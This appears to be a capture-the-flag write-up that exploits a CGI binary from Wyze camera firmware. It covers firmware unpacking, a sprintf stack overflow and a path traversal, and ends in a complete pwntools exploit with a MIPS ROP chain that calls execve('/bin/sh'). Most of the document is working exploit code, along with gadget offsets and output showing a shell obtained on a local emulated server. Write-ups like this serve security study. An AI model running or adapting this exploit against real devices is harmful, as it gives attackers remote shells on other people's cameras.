#firmware #rop #mips
## Description
Looks like there is a wyze cam at IP
file: demo.bin
aslr off
# Vuln Research
Unpack the firmware
`binwalk -Mre demo.bin`
`cd _demo.bin.extracted/squashfs-root`
look through fs, find `/usr/www/cgi-bin/hello.cgi`
Only cgi binary, navigate to `http://IP/cgi-bin/hello.cgi` and see its running
## Disassembly
Binary is tiny and has little functionality

read_dir function just lists all files in a directory.
The vuln part is that user inpunt from `QUERY_STRING` is passed into an `sprintf` call that does not do any bounds checking.
There is also a path traversal vuln where if you pass `../../../` in front of a path you can list files in arbitrary directory.
## Emulating binary for testing
`qemu-mipsel -L /home/chris/Desktop/wyze/_demo.bin.extracted/squashfs-root/ ./hello.cgi`
## Confirm vuln
```
export QUERY_STRING=name=$(cyclic 200)
qemu-mipsel -strace -L /home/chris/Desktop/wyze/_demo.bin.extracted/squashfs-root/ ./hello.cgi
```
```
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x61616174} ---
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 1696156 segmentation fault qemu-mipsel -strace -L ./hello_final.cgi
```
```
cyclic -l 0x61616174 -> 76
```
Stack overflow with a buffer size of 76
## Test on local CGI server
Writing the explopit locally first on our own CGI server makes it easier
create directory `cgi-bin` and place `hello.cgi` in it.
create wrapper script to call qemu and create gdb server on port 1234
```bash
#!/bin/bash
qemu-mipsel -g 1234 -L /home/chris/Desktop/wyze/_demo.bin.extracted/squashfs-root/ ./hello.cgi
```
Start server in directory containing `cgi-bin` dir
`python -m CGIHTTPServer`
### Test Exploit Script
```python
from pwn import *
import requests
context.binary = elf = ELF("./hello.cgi")
payload = "A"*76
payload += "BBBB"
io = remote("127.0.0.1",8000)
io.send("GET /cgi-bin/wrapper.cgi?name={} HTTP/1.1\r\n".format(payload))
io.send("\r\n\r\n")
io.interactive()
```
Run script.
In another terminal start `gdb-multiarch`
```
gdb-multiarch cgi-bin/hello.cgi
```
Connect to gdb server and then continue execution
```
target remote 127.0.0.1:1234
continue
```

Crash confirmed again in GDB control $ra
# Exploit Dev
Because exploit is passed through GET param, cant use null bytes.
This means all gadgets in the hello.cgi binary are useless because they all start like `0x00400000`
If the directory traversal ends up not working provide the mapping to leak libc base
Can use gadgets in libc so just search for gadgets to place `/bin/sh` into `$a0` and `NULL` into `$a1` and `$a2` then rop to `execve`
## Gadgets
First gadget I used was to place the addr of `/bin/sh` string into `$s0`

Second gadget used was to move `$s0` into `$a0`

Third gadget was to set `$v0` to `NULL`

Fourth Gadget was to set `$a2` to `$v0`

Fifth gadget was to set `$a1` to `$a2`

## Testing Rop chain
Using the ropchain:
```python
libc_base = 0x7f703000
bin_sh = libc_base + 0xa54d0
mv_a1_a2 = p32(libc_base+0x11a14)
mv_a2_v0 = p32(libc_base+0x14ec4)
mv_v0_0 = p32(libc_base+0x16338)
mv_a0_s0 = p32(libc_base+0x12404)
lw_s2 = p32(libc_base+0x11bb0) #
payload = "A"*76
payload += lw_s2
payload += "BBBB"*10
payload += p32(bin_sh) #s0
payload += "DDDD" #s1
payload += "EEEE" #s2
payload += mv_a0_s0 #ra
payload += "QQQQ"*45
payload += mv_v0_0 #ra
payload += "1111"*7
payload += mv_a2_v0 #ra
payload += "3333"*9
payload += mv_a1_a2 #ra
payload += "4444"*35
payload += "ZZZZ" #ra
```
The binary now crashes at "ZZZZ":

We can confirm `$a0` == `/bin/sh`
and `$a1` and `$a2` or `NULL`
## Local Exploit
Just changing the "ZZZZ" to the `execve` call and we get shell
```python
from pwn import *
import requests
context.binary = elf = ELF("./hello.cgi")
libc_base = 0x7f703000
execve = libc_base + 0xcb30
bin_sh = libc_base + 0xa54d0
mv_a1_a2 = p32(libc_base+0x11a14)
mv_a2_v0 = p32(libc_base+0x14ec4)
mv_v0_0 = p32(libc_base+0x16338)
mv_a0_s0 = p32(libc_base+0x12404)
lw_s2 = p32(libc_base+0x11bb0)
payload = "A"*76
payload += lw_s2
payload += "BBBB"*10
payload += p32(bin_sh) #s0
payload += "DDDD" #s1
payload += "EEEE" #s2
payload += mv_a0_s0 #ra
payload += "QQQQ"*45
payload += mv_v0_0 #ra
payload += "1111"*7
payload += mv_a2_v0 #ra
payload += "3333"*9
payload += mv_a1_a2 #ra
payload += "4444"*35
payload += p32(execve)
io = remote("127.0.0.1",8000)
io.send("GET /cgi-bin/wrapper.cgi?name={} HTTP/1.1\r\n".format(payload))
io.send("\r\n\r\n")
io.interactive()
```
Change the `wrapper.cgi` as well to remove the gdb option
### Result
```bash
[*] '/home/chris/Desktop/pctf/cgi-bin/hello.cgi'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Opening connection to 127.0.0.1 on port 8000: Done
[*] Switching to interactive mode
HTTP/1.0 200 Script output follows
Server: SimpleHTTP/0.6 Python/2.7.18
Date: Wed, 23 Dec 2020 21:35:58 GMT
$ ls
cgi-bin
$ ls -la
total 276
drwxr-xr-x 3 chris docker 4096 Dec 23 10:50 .
drwxr-xr-x 31 chris docker 270336 Dec 23 10:09 ..
drwxr-xr-x 2 chris docker 4096 Dec 23 16:35 cgi-bin
$ whoami
chris
$
```